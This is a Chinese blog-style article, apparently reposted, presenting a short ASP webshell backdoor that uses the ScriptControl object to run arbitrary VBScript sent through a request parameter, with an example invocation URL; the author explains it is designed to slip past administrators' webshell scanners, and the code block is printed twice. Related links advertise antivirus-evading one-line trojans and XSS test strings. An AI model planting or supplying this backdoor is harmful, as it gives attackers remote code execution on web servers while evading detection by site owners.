一個較新的ASP后門服務(wù)端實現(xiàn)代碼
更新時間：2010年10月11日 01:17:53 作者：
一直很奇怪，為什么客戶端里面不是eval，就是execute，不管我藏哪里，管理員用個什么XX webshell掃描器，就能踢我屁股了。
今天重新研究了下VB里面的ScriptControl組件，發(fā)現(xiàn)asp里面也能調(diào)用。研究了下方法，后來和lcx討論了下。得到了如下代碼，在此感謝前輩的指點，呵呵。
代碼很簡單，我就不多做解釋了，以免有人罵我裝。
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '參數(shù)SubCode作為過程代碼
o.run "e",Server,Response,Request,Application,Session,Error '參數(shù)名e 調(diào)用之，同時壓入6個基對象作為參數(shù)
'調(diào)用示例：
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>
注意，雖然能用了，但是實驗發(fā)現(xiàn)只有l(wèi)ake2客戶端能用。希望有牛人出來改得通用一點。呵呵。自己寫個客戶端專用也不錯。
轉(zhuǎn)自：http://hi.baidu.com/ylbhz/blog
代碼很簡單，我就不多做解釋了，以免有人罵我裝。
復制代碼 代碼如下:
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '參數(shù)SubCode作為過程代碼
o.run "e",Server,Response,Request,Application,Session,Error '參數(shù)名e 調(diào)用之，同時壓入6個基對象作為參數(shù)
'調(diào)用示例：
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>
注意，雖然能用了，但是實驗發(fā)現(xiàn)只有l(wèi)ake2客戶端能用。希望有牛人出來改得通用一點。呵呵。自己寫個客戶端專用也不錯。
轉(zhuǎn)自：http://hi.baidu.com/ylbhz/blog
相關(guān)文章
一句話木馬插入到asp文件中 :這個是當然,一句話木馬本身就是asp文件。能夠用IE訪問:能訪問,我們才可以提交數(shù)據(jù)..只要能訪問的都可以2008-07-07
一個查ASP木馬的小東東2006-07-07
XSS測試語句大全...2006-07-07
asp防注入效果代碼2008-06-06
利用Microsoft.XMLHTTP控件發(fā)送COOKIE
利用Microsoft.XMLHTTP控件發(fā)送COOKIE...2006-09-09
一句話 asp木馬加密版 徹底突破殺毒軟件...2007-11-11
有時候通過程序上傳木馬，一般都是偽裝成圖片，下面是asp下檢測圖片木馬的代碼，需要的朋友可以參考下2015-09-09
asp javascript在線管理...2006-09-09
兩個小函數(shù)讓你的ASP程序?qū)QL注入免疫！
兩個小函數(shù)讓你的ASP程序?qū)QL注入免疫！...2006-09-09
這段代碼可以隱藏在asp文件中，大家可以搜索一些特點的關(guān)鍵字，查看文件的修改日期，看看是不是有如下的代碼。2010-08-08